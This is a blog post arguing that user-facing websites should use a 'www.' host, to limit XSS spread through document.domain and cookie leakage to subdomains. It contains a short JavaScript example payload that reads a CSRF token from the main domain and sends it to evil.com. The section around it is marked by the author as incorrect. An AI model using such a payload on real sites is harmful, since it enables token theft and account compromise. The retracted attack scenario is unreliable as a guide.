README


home
@j4cob

Why you need a ‘www.’

03 Apr 2014

In the early days of the internet, we named our world wide webservers ‘www’ to distinguish them from, say, our ftp and gopher servers. Since then, the web has become the main way most people interact with the Internet, and it has started to become fashionable to omit the ‘www.’ Sites like twitter.com and medium.com are making a statement about the modern web, and many people feel that ‘www’ on a web site is old-fashioned and redundant.

However, for a couple of technological reasons that cropped up during the development of the web, serving your website from ‘www’ is still advisable. If you choose to serve your site from a bare domain like twitter.com, it will be harder to deal with XSS and you may be subject to cookie stealing. If you look around, you’ll notice that most large, web-centric technology companies use the ‘www,’ like www.google.com, www.amazon.com, and www.facebook.com for this and other reasons.

First, assume that you will eventually implement subdomains for specific things, like support.example.com, api.example.com, beta.example.com, or blog.example.com. If you have an early-stage startup, it may seem like you’ll never need to break things out into subdomains, but if you are successful at all, you will want to use subdomains very soon.

Subdomain Isolation

Subdomains are great because code on blog.example.com can’t access data from support.example.com. This is called the Same-origin Policy and is fundamental to the security model of the web. It’s the same reason www.amazon.com can’t use Javascript to retrieve your email from mail.google.com. However, there’s a useful exception. If blog.example.com specifically wants to share data with support.example.com, it can use Javascript to set document.domain=’example.com’. The document.domain property can be set to any parent domain of the current domain, and allows any two documents that have the same document.domain to execute script in each others’ context and access each others’ DOM. If there’s a page on support.example.com that also sets document.domain=’example.com’, then blog.example.com can load that page in an iframe, and since the browser now considers them to have the same origin, each can run script in the context of the other and access the other’s data.

This is useful when you want it, but in general you don’t want blog.example.com to be able to share data with support.example.com. If there’s an XSS attack that affects blog.example.com, you don’t want it to also affect support.example.com, or the attacker would be able to get at your users’ sensitive support tickets.

EDIT: Neal Poole and Eric Lawrence point out that I was wrong about the part below: a page on the bare domain would also need to set document.domain. If you don’t set document.domain on your bare domain, you’re safe from this particular threat. I’ve greyed out the section so you can still what it originally said, but consider it incorrect.

</p>

However, if the user-facing part of your site is example.com, then any of your subdomains— blog.example.com, support.example.com, etc.— can set document.domain=’example.com’. That means that an attacker script can do the same thing. That, in turn, means that what could be a minor XSS in your blogging platform or support site turns into an XSS on your entire site. In practice, this means attackers reading users’ private messages, sending out self-propagating attack links from your users’ accounts, and you getting paged in the middle of the night to deal with it.</p>

An example attack payload that would run on support.example.com to steal the anti-CSRF token from the main domain might look something like this:

var w = window.open("https://example.com");
var csrftoken = w.document.forms[0].childNodes[1].value;
new Image().src = "https://evil.com/log.png?csrftoken=" + csrftoken;

In practice an attacker would wrap this in the necessary code to exploit an XSS vulnerability on the subdomain. In the worst case, the attackers could also steal the users’ authentication cookies, but you’re already setting the HttpOnly and secure flags, right?

Even if you write all the code and operate all the servers for your subdomains, isolating major bugs like XSS is very valuable to limit damage in an (inevitable) attack. When you point subdomains at a third-party server, or contract someone else to write code that you’ll host on a subdomain, the need for isolation becomes even more clear. The fix is simple: If the user-facing part of your site is hosted on www.example.com, you’re safe from all the bugs except the ones you wrote yourself.

When you host your site on example.com, you ideally to set an authentication cookie that gets sent to ‘example.com’ and not any subdomains. It turns out it’s impossible to do this in a cross-browser way. On most browsers, sending a Set-Cookie header without a domain field will do the trick. However, Internet Explorer differs on this point, and will send the cookie to all subdomains (see Q3).

This means that if you host on a bare domain, you’re sending your users’ authentication cookies (the keys to the kingdom) to every subdomain. When you host all subdomains yourself, this is not a big deal, but once a subdomain is operated by a third party like a blogging platform or a CDN, this puts your users at unnecessary risk. If your user-facing site is www.example.com, then all cookies will by default be scoped to www.example.com on non-IE browsers, and *.www.example.com on IE. Since you’re probably not hosting anything at foo.www.example.com, you won’t be sending authentication cookies to any third party.

Hard to Fix Later

It’s tempting to leave the switch for later, and say “We’ll add a www and a redirect once we start having subdomains.” But by the time you come back to make the change, there will be links to your site all over the web, plus internal links, and none of them point to the new `www.’ version of your site. Redirecting users when they click those links costs extra latency. It’s better to just make the call at the beginning.

Conclusion

User-facing websites should always use `www.’ It may not be cool, but it’s safer.